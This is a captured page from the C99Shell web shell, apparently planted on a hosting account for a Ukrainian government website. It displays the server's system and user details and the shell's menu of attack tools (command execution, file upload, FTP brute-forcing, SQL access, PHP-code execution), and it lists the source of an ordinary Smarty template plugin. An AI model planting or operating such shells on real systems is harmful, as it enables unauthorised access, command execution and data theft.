!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/old.zt-rada.gov.ua/smarty/internals/   drwxrwxrwx
Free 117.47 GB of 200.55 GB (58.57%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     core.write_compiled_resource.php (1.06 KB)      -rwxrwxrwx
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Smarty plugin
 * @package Smarty
 * @subpackage plugins
 */

/**
 * write the compiled resource
 *
 * @param string $compile_path
 * @param string $compiled_content
 * @return true
 */
function smarty_core_write_compiled_resource($params, &$smarty)
{
    if(!@
is_writable($smarty->compile_dir)) {
        
// compile_dir not writable, see if it exists
        
if(!@is_dir($smarty->compile_dir)) {
            
$smarty->trigger_error('the $compile_dir \'' $smarty->compile_dir '\' does not exist, or is not a directory.'E_USER_ERROR);
            return 
false;
        }
        
$smarty->trigger_error('unable to write to $compile_dir \'' realpath($smarty->compile_dir) . '\'. Be sure $compile_dir is writable by the web server user.'E_USER_ERROR);
        return 
false;
    }

    
$_params = array('filename' => $params['compile_path'], 'contents' => $params['compiled_content'], 'create_dirs' => true);
    require_once(
SMARTY_CORE_DIR 'core.write_file.php');
    
smarty_core_write_file($_params$smarty);
    return 
true;
}

/* vim: set expandtab: */

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0273 ]--